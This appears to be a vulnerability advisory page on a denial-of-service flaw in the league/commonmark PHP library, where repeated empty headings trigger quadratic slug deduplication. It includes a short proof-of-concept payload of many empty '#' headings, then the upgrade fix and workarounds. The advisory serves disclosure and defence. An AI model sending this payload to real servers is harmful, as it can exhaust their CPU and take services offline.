league/commonmark Denial of Service via Colliding Heading Slugs
Sending a Markdown document full of identical or punctuation-only headings forces the slug normalizer into O(K²) work, letting an unauthenticated attacker hang a PHP server with a small payload.

The problem
UniqueSlugNormalizer::normalize() deduplicates heading anchors by appending a numeric suffix. The vulnerable implementation restarts its suffix search from 1 on every collision, so the k-th duplicate heading triggers k-1 array lookups. K colliding headings therefore cost O(K²) total lookups.
The path is reachable unauthenticated whenever HeadingPermalinkExtension, TableOfContentsExtension, or FootnoteExtension (anonymous footnote refs) is registered. No authentication or special privilege is required. The impact is pure availability: CPU exhaustion per request.
Proof of concept
A working proof-of-concept for this issue in league/commonmark, with the exact payload below.
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
# Each empty ATX heading (# with no text) normalizes to the empty string, so every heading collides on the same base slug. The pre-patch loop incremented a counter starting at 1 and called array_key_exists in a while loop that restarted at 1 each call, producing Σ(k-1) = O(K²) lookups for K headings.
The fix tracks the next available suffix per base slug in a map, making each normalize() call O(1) regardless of collision count. CWE-407 (Inefficient Algorithmic Complexity).
Public PoC not yet available; payload derived directly from the advisory description of the trigger condition (empty or punctuation-only headings that normalize to the empty string).
The fix
Upgrade to league/commonmark 2.9.0, which rewrites the deduplication loop to O(1) per call. If you cannot upgrade immediately, set slug_normalizer/unique to false (loses anchor uniqueness), disable HeadingPermalinkExtension and FootnoteExtension for untrusted input, or cap document size upstream to keep K small.
composer require league/commonmark:^2.9.0
Reported by Colin O'Dell (maintainer self-report).
Related research
- high · 7.5league/commonmark Footnote Extension Quadratic Complexity DoS
- high · 7.1LibreNMS Stored XSS via Unescaped SNMP and Syslog Data in Legacy Templates
- high · 8.8CVE-2026-56777: phpMyFAQ GroupController Privilege Escalation via Missing Self-Rights Constraint
- criticalCVE-2026-59989CVE-2026-59989: Phalcon Volt Compiler join Filter PHP Code Injection (RCE)